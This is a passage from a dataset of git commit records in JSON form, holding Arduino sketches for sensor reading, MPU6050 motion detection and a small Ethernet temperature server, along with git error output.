extreme\/Arduino,me-no-dev\/Arduino-1,kidswong999\/Arduino,mateuszdw\/Arduino,noahchense\/Arduino-1,danielchalef\/Arduino,benwolfe\/esp8266-Arduino,raimohanska\/Arduino,weera00\/Arduino,raimohanska\/Arduino,adafruit\/ESP8266-Arduino,xxxajk\/Arduino-1,jaehong\/Xmegaduino,ms-iot\/Arduino,ccoenen\/Arduino,mattvenn\/Arduino,eduardocasarin\/Arduino,diydrones\/Arduino,championswimmer\/Arduino,gberl001\/Arduino,jaehong\/Xmegaduino,stevemarple\/Arduino,zederson\/Arduino,bigjosh\/Arduino,stevemarple\/Arduino,karlitxo\/Arduino,karlitxo\/Arduino,plinioseniore\/Arduino,jomolinare\/Arduino,benwolfe\/esp8266-Arduino,eddyst\/Arduino-SourceCode,eeijcea\/Arduino-1,ektor5\/Arduino,xxxajk\/Arduino-1,ccoenen\/Arduino,byran\/Arduino,mateuszdw\/Arduino,spapadim\/Arduino,Orthogonal-Systems\/arduino-libs,xxxajk\/Arduino-1,stickbreaker\/Arduino,paulo-raca\/ESP8266-Arduino,henningpohl\/Arduino,jabezGit\/Arduino,tannewt\/Arduino,jomolinare\/Arduino,ogferreiro\/Arduino,rcook\/DesignLab,karlitxo\/Arduino,ms-iot\/Arduino,weera00\/Arduino,jomolinare\/Arduino,scdls\/Arduino,Cloudino\/Arduino,pdNor\/Arduino,Alfredynho\/AgroSis,jaimemaretoli\/Arduino,wdoganowski\/Arduino,SmartArduino\/Arduino-1,381426068\/Arduino,talhaburak\/Arduino,PeterVH\/Arduino,probonopd\/Arduino,diydrones\/Arduino,stevemarple\/Arduino-org,ricklon\/Arduino,smily77\/Arduino,cscenter\/Arduino,vbextreme\/Arduino,jaimemaretoli\/Arduino,NeuralSpaz\/Arduino,jamesrob4\/Arduino,ikbelkirasan\/Arduino,odbol\/Arduino,fungxu\/Arduino,lukeWal\/Arduino,ektor5\/Arduino,NicoHood\/Arduino,bigjosh\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,ForestNymph\/Arduino_sources,zaiexx\/Arduino,ccoenen\/Arduino,ikbelkirasan\/Arduino,arduino-org\/Arduino,ccoenen\/Arduino,jabezGit\/Arduino,gestrem\/Arduino,raimohanska\/Arduino,acosinwork\/Arduino,aichi\/Arduino-2,superboonie\/Arduino,mc-hamster\/esp8266-Arduino,gestrem\/Arduino,PaoloP74\/Arduino,myrtleTree33\/Arduino,toddtreece\/esp8266-Arduino,rcook\/DesignLab,plinioseniore\/Arduino,gurbrinder\/Arduino,jaehong\/Xmegaduino,wayoda\/Arduino,garci66\/Arduino,danielchalef\/Arduino,koltegirish\/Arduino,NicoHood\/Arduino,NeuralSpaz\/Arduino,Cloudino\/Arduino,nandojve\/Arduino,diydrones\/Arduino,lulufei\/Arduino,smily77\/Arduino,ccoenen\/Arduino,piersoft\/esp8266-Arduino,myrtleTree33\/Arduino,jaehong\/Xmegaduino,shannonshsu\/Arduino,andyvand\/Arduino-1,01org\/Arduino,ntruchsess\/Arduino-1,stevemarple\/Arduino,onovy\/Arduino,ntruchsess\/Arduino-1,onovy\/Arduino,championswimmer\/Arduino,noahchense\/Arduino-1,wilhelmryan\/Arduino,lulufei\/Arduino,jaej-dev\/Arduino,shannonshsu\/Arduino,gberl001\/Arduino,OpenDevice\/Arduino,jmgonzalez00449\/Arduino,ntruchsess\/Arduino-1,plinioseniore\/Arduino,Gourav2906\/Arduino,eduardocasarin\/Arduino,garci66\/Arduino,mangelajo\/Arduino,ogferreiro\/Arduino,tbowmo\/Arduino,wilhelmryan\/Arduino,kidswong999\/Arduino,me-no-dev\/Arduino-1,plinioseniore\/Arduino,mattvenn\/Arduino,andrealmeidadomingues\/Arduino,eggfly\/arduino,gonium\/Arduino,eddyst\/Arduino-SourceCode,damellis\/Arduino,ashwin713\/Arduino,ashwin713\/Arduino,koltegirish\/Arduino,nandojve\/Arduino,odbol\/Arduino,smily77\/Arduino,nandojve\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gonium\/Arduino,tannewt\/Arduino,ForestNymph\/Arduino_sources,nkolban\/Arduino,andrealmeidadomingues\/Arduino,superboonie\/Arduino,drpjk\/Arduino,superboonie\/Arduino,381426068\/Arduino,leftbrainstrain\/Arduino-ESP8266,acosinwork\/Arduino,ms-iot\/Arduino,myrtleTree33\/Arduino,tbowmo\/Arduino,pdNor\/Arduino,diydrones\/Arduino,shannonshsu\/Arduino,adamkh\/Arduino,paulo-raca\/ESP8266-Arduino,paulmand3l\/Arduino,toddtreece\/esp8266-Arduino,jomolinare\/Arduino,stickbreaker\/Arduino,ntruchsess\/Arduino-1,kidswong999\/Arduino,Protoneer\/Arduino,cscenter\/Arduino,PeterVH\/Arduino,karlitxo\/Arduino,jmgonzalez00449\/Arduino,byran\/Arduino,cscenter\/Arduino,KlaasDeNys\/Arduino,smily77\/Arduino,mboufos\/esp8266-Arduino,SmartArduino\/Arduino-1,PaoloP74\/Arduino,gonium\/Arduino,adamkh\/Arduino,NeuralSpaz\/Arduino,zaiexx\/Arduino,arduino-org\/Arduino,vbextreme\/Arduino,aichi\/Arduino-2,jmgonzalez00449\/Arduino,kidswong999\/Arduino,tannewt\/Arduino,acosinwork\/Arduino,paulo-raca\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,eggfly\/arduino,scdls\/Arduino,snargledorf\/Arduino,aichi\/Arduino-2,UDOOboard\/Arduino,xxxajk\/Arduino-1,gurbrinder\/Arduino,jaej-dev\/Arduino,shiitakeo\/Arduino,lulufei\/Arduino,Gourav2906\/Arduino,scdls\/Arduino,NicoHood\/Arduino,mattvenn\/Arduino,stevemarple\/Arduino-org,kidswong999\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,smily77\/Arduino,jaej-dev\/Arduino,Gourav2906\/Arduino,Gourav2906\/Arduino,talhaburak\/Arduino,EmuxEvans\/Arduino,EmuxEvans\/Arduino,jmgonzalez00449\/Arduino,ogferreiro\/Arduino,championswimmer\/Arduino,plaintea\/esp8266-Arduino,andyvand\/Arduino-1,paulmand3l\/Arduino,nkolban\/Arduino,leftbrainstrain\/Arduino-ESP8266,paulmand3l\/Arduino,byran\/Arduino,odbol\/Arduino,Alfredynho\/AgroSis,eduardocasarin\/Arduino,NaSymbol\/Arduino,laylthe\/Arduino,fungxu\/Arduino,jaimemaretoli\/Arduino,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,stevemarple\/Arduino,raimohanska\/Arduino,arduino-org\/Arduino,ektor5\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,lukeWal\/Arduino,rodibot\/Arduino,weera00\/Arduino,gonium\/Arduino,OpenDevice\/Arduino,PaoloP74\/Arduino,ikbelkirasan\/Arduino,kidswong999\/Arduino,stickbreaker\/Arduino,Ramoonus\/Arduino,stevemarple\/Arduino-org,NaSymbol\/Arduino,superboonie\/Arduino,tbowmo\/Arduino,diydrones\/Arduino,nandojve\/Arduino,shannonshsu\/Arduino,pdNor\/Arduino,plinioseniore\/Arduino,bsmr-arduino\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,ssvs111\/Arduino,tommyli2014\/Arduino,scdls\/Arduino,garci66\/Arduino,fungxu\/Arduino,Protoneer\/Arduino,ricklon\/Arduino,adamkh\/Arduino,jaimemaretoli\/Arduino,Protoneer\/Arduino,xxxajk\/Arduino-1,mangelajo\/Arduino,Orthogonal-Systems\/arduino-libs,koltegirish\/Arduino,aichi\/Arduino-2","old_file":"build\/shared\/examples\/1.Basics\/ReadAnalogVoltage\/ReadAnalogVoltage.ino","new_file":"build\/shared\/examples\/1.Basics\/ReadAnalogVoltage\/ReadAnalogVoltage.ino","new_contents":"\/*\n ReadAnalogVoltage\n Reads an analog input on pin 0, converts it to voltage, and prints the result to the serial monitor.\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \n This example code is in the public domain.\n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n \/\/ Convert the analog reading (which goes from 0 - 1023) to a voltage (0 - 5V):\n float voltage = sensorValue * (5.0 \/ 1023.0);\n \/\/ print out the value you read:\n Serial.println(voltage);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'build\/shared\/examples\/1.Basics\/ReadAnalogVoltage\/ReadAnalogVoltage.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f5a13b3e811df3c30c957c60372259e2c92e2236","subject":"Rewired sticks to only go from LOW to HIGH","message":"Rewired sticks to only go from LOW to HIGH\n","repos":"simonlovgren\/Arduino-Flight-TX","old_file":"flight_controller_tx.ino","new_file":"flight_controller_tx.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/simonlovgren\/Arduino-Flight-TX.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"83103c0cf55ef05d756c106fe21cd0aee1366f01","subject":"feat: add photon code","message":"feat: add photon code\n","repos":"vjo\/EnvMon,vjo\/EnvMon","old_file":"photon\/envmon.ino","new_file":"photon\/envmon.ino","new_contents":"int light = 0;\nfloat temp = 0;\nchar light_str[10];\nchar temp_str[10];\nint led = D7;\n\n\nvoid setup() {\n pinMode(led, OUTPUT); \/\/ http:\/\/docs.spark.io\/firmware\/#setup-pinmode\n Spark.variable(\"light\", &light, INT); \/\/ http:\/\/docs.spark.io\/firmware\/#spark-variable\n pinMode(A0, INPUT); \/\/ LDR is linked to this analog pin\n pinMode(A1, INPUT); \/\/ LM35 is linked to this analog pin\n}\n\nvoid loop() {\n light = analogRead(A0);\n sprintf(light_str, \"%i\", light);\n Spark.publish(\"getLight\", light_str, PRIVATE);\n\n int sensorValue = analogRead(A1);\n temp = convertTempReading(sensorValue);\n sprintf(temp_str, \"%.1f\", temp);\n Spark.publish(\"getTemp\", temp_str, PRIVATE);\n\n \/\/ for easy debugging, we turn on \/ off the LED with each publish\n digitalWrite(led, HIGH);\n delay(200);\n digitalWrite(led, LOW);\n delay(1800);\n}\n\nfloat convertTempReading(int sensorValue) {\n \/\/ Converts sensorValue in voltage\/Kelvin value\n float voltage = ((sensorValue \/ 4096.0) * 3.3);\n\n \/\/ Converts to Kelvin\n float kelvinValue = (voltage * 100);\n \/\/float celsiusValue = kelvinValue - 273.15;\n\n return kelvinValue;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photon\/envmon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a7c93abda54875b83a271e61c28ff99c828ef50f","subject":"Adding init Arduino file.","message":"Adding init Arduino file.\n","repos":"andresol\/kegweight,andresol\/kegweight,andresol\/kegweight,andresol\/kegweight","old_file":"arduino_beercount.ino","new_file":"arduino_beercount.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_beercount.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"eb7df833fd24dc09d6348d63b82fded222b82e38","subject":"reworked for using D Latches","message":"reworked for using D Latches\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bc666816d3113980b7be6b47699643ba82708abe","subject":"beauty","message":"beauty\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f9eeff6981e62e65357b662419c2cc088c630a9d","subject":"Create MPU6050_MotionDetect.ino","message":"Create MPU6050_MotionDetect.ino\n\nArduino sketch to config and read the MPU6050 motion detect registers. Code uses the MPU6050 library by Jeff Rowberg.","repos":"mjs513\/MPU6050-Motion-Detection","old_file":"MPU6050_MotionDetect.ino","new_file":"MPU6050_MotionDetect.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class\n\/\/ 10\/7\/2011 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2011-10-07 - initial release\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2011 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#include \"Wire.h\"\n#include \"SPI.h\"\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n#include \"MPU60X0.h\"\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU60X0 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\nint8_t threshold, count; \nfloat temp;\nbool zero_detect; \nbool TurnOnZI = false;\n\nbool XnegMD, XposMD, YnegMD, YposMD, ZnegMD, ZposMD;\n\n#define LED_PIN 13\nbool blinkState = false;\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n Wire.begin();\n\n \/\/ initialize serial communication\n \/\/ (38400 chosen because it works as well at 8MHz as it does at 16MHz, but\n \/\/ it's really up to you depending on your project)\n Serial.begin(38400);\n\n \/\/ initialize device\n \/\/Serial.println(\"Initializing I2C devices...\");\n accelgyro.initialize();\n\t\n \/\/ verify connection\n \/\/Serial.println(\"Testing device connections...\");\n \/\/Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n \/\/Set up zero motion\n\t\n \/** Get accelerometer power-on delay.\n * The accelerometer data path provides samples to the sensor registers, Motion\n * detection, Zero Motion detection, and Free Fall detection modules. The\n * signal path contains filters which must be flushed on wake-up with new\n * samples before the detection modules begin operations. The default wake-up\n * delay, of 4ms can be lengthened by up to 3ms. This additional delay is\n * specified in ACCEL_ON_DELAY in units of 1 LSB = 1 ms. The user may select\n * any value above zero unless instructed otherwise by InvenSense. Please refer\n * to Section 8 of the MPU-6000\/MPU-6050 Product Specification document for\n * further information regarding the detection modules.\n * @return Current accelerometer power-on delay\n * @see MPU60X0_RA_MOT_DETECT_CTRL\n * @see MPU60X0_DETECT_ACCEL_ON_DELAY_BIT\n *\/\t\n accelgyro.setAccelerometerPowerOnDelay(3);\n\t\n\n \/** Get Zero Motion Detection interrupt enabled status.\n * Will be set 0 for disabled, 1 for enabled.\n * @return Current interrupt enabled status\n * @see MPU60X0_RA_INT_ENABLE\n * @see MPU60X0_INTERRUPT_ZMOT_BIT\n **\/\t\n accelgyro.setIntZeroMotionEnabled(TurnOnZI);\n\t\n\n \/** Get the high-pass filter configuration.\n * The DHPF is a filter module in the path leading to motion detectors (Free\n * Fall, Motion threshold, and Zero Motion). The high pass filter output is not\n * available to the data registers (see Figure in Section 8 of the MPU-6000\/\n * MPU-6050 Product Specification document).\n * \n * The high pass filter has three modes:\n * Reset: The filter output settles to zero within one sample. This\n * effectively disables the high pass filter. This mode may be toggled\n * to quickly settle the filter.\n *\n * On: The high pass filter will pass signals above the cut off frequency.\n *\n * Hold: When triggered, the filter holds the present sample. The filter\n * output will be the difference between the input sample and the held\n * sample.\n *\n * ACCEL_HPF | Filter Mode | Cut-off Frequency\n * ----------+-------------+------------------\n * 0 | Reset | None\n * 1 | On | 5Hz\n * 2 | On | 2.5Hz\n * 3 | On | 1.25Hz\n * 4 | On | 0.63Hz\n * 7 | Hold | None\n * <\/pre>\n * \n * @return Current high-pass filter configuration\n * @see MPU60X0_DHPF_RESET\n * @see MPU60X0_RA_ACCEL_CONFIG\n *\/\t\n \/\/DEBUG_PRINTLN(\"Setting DHPF bandwidth to 5Hz...\");\n accelgyro.setDHPFMode(1);\n\n\t\n \/** Get motion detection event acceleration threshold.\n * This register configures the detection threshold for Motion interrupt\n * generation. The unit of MOT_THR is 1LSB = 2mg. Motion is detected when the\n * absolute value of any of the accelerometer measurements exceeds this Motion\n * detection threshold. This condition increments the Motion detection duration\n * counter (Register 32). The Motion detection interrupt is triggered when the\n * Motion Detection counter reaches the time count specified in MOT_DUR\n * (Register 32).\n * \n * The Motion interrupt will indicate the axis and polarity of detected motion\n * in MOT_DETECT_STATUS (Register 97).\n * \n * For more details on the Motion detection interrupt, see Section 8.3 of the\n * MPU-6000\/MPU-6050 Product Specification document as well as Registers 56 and\n * 58 of this document.\n *\n * @return Current motion detection acceleration threshold value (LSB = 2mg)\n * @see MPU60X0_RA_MOT_THR\n *\/\t\n \/\/Serial.println(\"Setting motion detection threshold to 2...\");\n accelgyro.setMotionDetectionThreshold(2);\n\n\n \/** Get zero motion detection event acceleration threshold.\n * This register configures the detection threshold for Zero Motion interrupt\n * generation. The unit of ZRMOT_THR is 1LSB = 2mg. Zero Motion is detected when\n * the absolute value of the accelerometer measurements for the 3 axes are each\n * less than the detection threshold. This condition increments the Zero Motion\n * duration counter (Register 34). The Zero Motion interrupt is triggered when\n * the Zero Motion duration counter reaches the time count specified in\n * ZRMOT_DUR (Register 34).\n * \n * Unlike Free Fall or Motion detection, Zero Motion detection triggers an\n * interrupt both when Zero Motion is first detected and when Zero Motion is no\n * longer detected.\n * \n * When a zero motion event is detected, a Zero Motion Status will be indicated\n * in the MOT_DETECT_STATUS register (Register 97). When a motion-to-zero-motion\n * condition is detected, the status bit is set to 1. When a zero-motion-to-\n * motion condition is detected, the status bit is set to 0.\n * \n * For more details on the Zero Motion detection interrupt, see Section 8.4 of\n * the MPU-6000\/MPU-6050 Product Specification document as well as Registers 56\n * and 58 of this document.\n * \n * @return Current zero motion detection acceleration threshold value (LSB = 2mg)\n * @see MPU60X0_RA_ZRMOT_THR\n *\/\t\n \/\/Serial.println(\"Setting zero-motion detection threshold to 156...\");\n accelgyro.setZeroMotionDetectionThreshold(2);\n\n\n \/** Get motion detection event duration threshold.\n * This register configures the duration counter threshold for Motion interrupt\n * generation. The duration counter ticks at 1 kHz, therefore MOT_DUR has a unit\n * of 1LSB = 1ms. The Motion detection duration counter increments when the\n * absolute value of any of the accelerometer measurements exceeds the Motion\n * detection threshold (Register 31). The Motion detection interrupt is\n * triggered when the Motion detection counter reaches the time count specified\n * in this register.\n * \n * For more details on the Motion detection interrupt, see Section 8.3 of the\n * MPU-6000\/MPU-6050 Product Specification document.\n * \n * @return Current motion detection duration threshold value (LSB = 1ms)\n * @see MPU60X0_RA_MOT_DUR\n *\/\n \/\/Serial.println(\"Setting motion detection duration to 80...\");\n accelgyro.setMotionDetectionDuration(40);\n\n\n \/** Get zero motion detection event duration threshold.\n * This register configures the duration counter threshold for Zero Motion\n * interrupt generation. The duration counter ticks at 16 Hz, therefore\n * ZRMOT_DUR has a unit of 1 LSB = 64 ms. The Zero Motion duration counter\n * increments while the absolute value of the accelerometer measurements are\n * each less than the detection threshold (Register 33). The Zero Motion\n * interrupt is triggered when the Zero Motion duration counter reaches the time\n * count specified in this register.\n * \n * For more details on the Zero Motion detection interrupt, see Section 8.4 of\n * the MPU-6000\/MPU-6050 Product Specification document, as well as Registers 56\n * and 58 of this document.\n * \n * @return Current zero motion detection duration threshold value (LSB = 64ms)\n * @see MPU60X0_RA_ZRMOT_DUR\n *\/\t\n \/\/Serial.println(\"Setting zero-motion detection duration to 0...\");\n accelgyro.setZeroMotionDetectionDuration(1);\t\n\t\n\n \/\/ configure Arduino LED for\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n \/\/ read raw accel\/gyro measurements from device\n \/\/Serial.println(\"Getting raw accwl\/gyro measurements\");\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \n \/\/Serial.println(\"Getting Motion indicators, count and threshold\");\n\t\n XnegMD = accelgyro.getXNegMotionDetected();\n XposMD = accelgyro.getXPosMotionDetected();\n YnegMD = accelgyro.getYNegMotionDetected();\n YposMD = accelgyro.getYPosMotionDetected();\n ZnegMD = accelgyro.getZNegMotionDetected();\n ZposMD = accelgyro.getZPosMotionDetected();\n\t\n zero_detect = accelgyro.getIntMotionStatus();\n threshold = accelgyro.getZeroMotionDetectionThreshold();\n \n \/\/Serial.println(\"Got to count\");\n \/\/count = accelgyro.getMotionDetectionCounterDecrement(); \n\t\n \/** Get current internal temperature.\n * @return Temperature reading in 16-bit 2's complement format\n * @see MPU60X0_RA_TEMP_OUT_H\n *\/\n \/\/Serial.println(\"Getting Die Temperature\");\t\n temp=(accelgyro.getTemperature()\/340.)+36.53;\n\n\n \/* The accelerometer and gyroscope measurements are explained in the MPU-6050 \n * datasheet in the GYRO_CONFIG and ACCEL_CONFIG register descriptions (sections 4.4 \n * and 4.5 on pages 14 and 15). The scale of each depends on the sensitivity settings \n * chosen, which can be one of +\/- 2, 4, 8, or 16g for the accelerometer and one of \n * +\/- 250, 500, 1000, or 2000 deg\/sec for the gyroscope. The accelerometer produces data \n * in units of acceleration (distance over time2), and the gyroscope produces data in units\n * of rotational velocity (rotation distance over time).\n * \n * The output scale for any setting is [-32768, +32767] for each of the six axes. The default \n * setting in the I2Cdevlib class is +\/- 2g for the accel and +\/- 250 deg\/sec for the gyro. If \n * the device is perfectly level and not moving, then:\n * \t\tX\/Y accel axes should read 0\n * \t\tZ accel axis should read 1g, which is +16384 at a sensitivity of 2g\n * \t\tX\/Y\/Z gyro axes should read 0\n * \n * In reality, the accel axes won't read exactly 0 since it is difficult to be perfectly level \n * and there is some noise\/error, and the gyros will also not read exactly 0 for the same reason\n * (noise\/error).\n *\/\n\t\n \/\/ these methods (and a few others) are also available\n \/\/accelgyro.getAcceleration(&ax, &ay, &az);\n \/\/accelgyro.getRotation(&gx, &gy, &gz);\n \n Serial.print(temp);Serial.print(\",\");\n Serial.print(ax\/16384.); Serial.print(\",\");\n Serial.print(ay\/16384.); Serial.print(\",\");\n Serial.print(az\/16384.); Serial.print(\",\");\n Serial.print(gx\/131.072); Serial.print(\",\");\n Serial.print(gy\/131.072); Serial.print(\",\");\n Serial.print(gz\/131.072); Serial.print(\",\");\n Serial.print(zero_detect); Serial.print(\",\");\n\tSerial.print(XnegMD); Serial.print(\",\");\n\tSerial.println(XposMD);\n\t\n \/\/ display tab-separated accel\/gyro x\/y\/z values\n \/*\n Serial.print(\"a\/g:\\t\");\n Serial.print(ax\/16384.); Serial.print(\"\\t\");\n Serial.print(ay\/16384.); Serial.print(\"\\t\");\n Serial.print(az\/16384.); Serial.print(\"\\t\");\n Serial.print(gx\/131.072); Serial.print(\"\\t\");\n Serial.print(gy\/131.072); Serial.print(\"\\t\");\n Serial.println(gz\/131.072);\n\t\n Serial.print(\"DieTemp:\\t\");Serial.println(temp);\n\t\n Serial.print(\"ZeroMotion(97):\\t\");\t\n Serial.print(zero_detect); Serial.print(\"\\t\");\n Serial.print(\"Count: \\t\");Serial.print(count); Serial.print(\"\\t\");\n Serial.print(XnegMD); Serial.print(\"\\t\");\n Serial.print(XposMD); Serial.print(\"\\t\");\n Serial.print(YnegMD); Serial.print(\"\\t\");\n Serial.print(YposMD); Serial.print(\"\\t\");\n Serial.print(ZnegMD); Serial.print(\"\\t\");\n Serial.println(ZposMD);\n *\/\t\n\n\t\n delay(80);\n\t\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU6050_MotionDetect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e658238a8307732747f0354068a16fbab299f74","subject":"Added files via upload","message":"Added files via upload","repos":"volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded","old_file":"temp\/ffdgjghk.ino","new_file":"temp\/ffdgjghk.ino","new_contents":"#include <SoftwareSerial.h>\nSoftwareSerial mySerial(10, 11); \nint c=0;\nuint8_t CK_A = 0, CK_B = 0;\nvoid setup() {\nSerial.begin(57600);\nmySerial.begin(9600);\nSerial.read();\n}\nvoid ubx_checksum(byte ubx_data)\n{\n CK_A+=ubx_data;\n CK_B+=CK_A;\n}\nvoid loop()\n{\n mySerial.write(Serial);\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp\/ffdgjghk.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e2a95a5285da65c2385f26c201c9fe9e94432437","subject":"Add Arduino sketch used for observation measurement","message":"Add Arduino sketch used for observation measurement\n","repos":"terop\/env-logger,terop\/env-logger,terop\/env-logger,terop\/env-logger,terop\/env-logger,terop\/env-logger,terop\/env-logger","old_file":"tempserver.ino","new_file":"tempserver.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Input pins\nconst int insideTempPin = A0;\nconst int photoresistorPin = A1;\nconst int thermistorPin = A2;\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\nbyte mac[] = { 0x90, 0xA2, 0xDA, 0x0E, 0x9A, 0xFC };\nIPAddress ip(192, 168, 1, 10);\n\n\/\/ Initialize the Ethernet server library\n\/\/ with the IP address and port you want to use\nEthernetServer server(80);\n\n\/* A reading from the ADC might give one value at one sample and then a little\n different the next time around. To eliminate noisy readings, we can sample\n the ADC pin a few times and then average the samples to get something more\n solid. This constant is utilized in the readThermistor function.\n *\/\nconst int SAMPLE_NUMBER = 10;\n\n\/* In order to use the Beta equation, we must know our other resistor\n within our resistor divider. If you are using something with large tolerance,\n like at 5% or even 1%, measure it and place your result here in ohms. *\/\nconst double BALANCE_RESISTOR = 9800.0;\n\n\/\/ This helps calculate the thermistor's resistance (check article for details).\nconst double MAX_ADC = 1023.0;\n\n\/* This is thermistor dependent and it should be in the datasheet, or refer to the\n article for how to calculate it using the Beta equation.\n I had to do this, but I would try to get a thermistor with a known\n beta if you want to avoid empirical calculations. *\/\nconst double BETA = 3379.1;\n\n\/* This is also needed for the conversion equation as \"typical\" room temperature\n is needed as an input. *\/\nconst double ROOM_TEMP = 298.15; \/\/ room temperature in Kelvin\n\n\/* Thermistors will have a typical resistance at room temperature so write this\n down here. Again, needed for conversion equations. *\/\nconst double RESISTOR_ROOM_TEMP = 10000.0;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n \/\/ Serial.begin(9600);\n\n \/\/ start the Ethernet connection and the server:\n Ethernet.begin(mac, ip);\n server.begin();\n}\n\nvoid loop() {\n \/\/ listen for incoming clients\n EthernetClient client = server.available();\n if (client) {\n \/\/ An HTTP request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n \/\/ If you've gotten to the end of the line (received a newline\n \/\/ character) and the line is blank, the http request has ended,\n \/\/ so you can send a reply\n if (c == '\\n' && currentLineIsBlank) {\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println(\"Connection: close\");\n client.println();\n client.print(\"{\\\"inside_temp\\\":\");\n client.print(readTemperature());\n client.print(\", \\\"inside_light\\\":\");\n client.print(analogRead(photoresistorPin));\n client.print(\", \\\"outside_temp\\\":\");\n client.print(readThermistor());\n client.println(\"}\");\n break;\n }\n if (c == '\\n') {\n \/\/ You're starting a new line\n currentLineIsBlank = true;\n }\n else if (c != '\\r') {\n \/\/ You've gotten a character on the current line\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ Give the web browser time to receive the 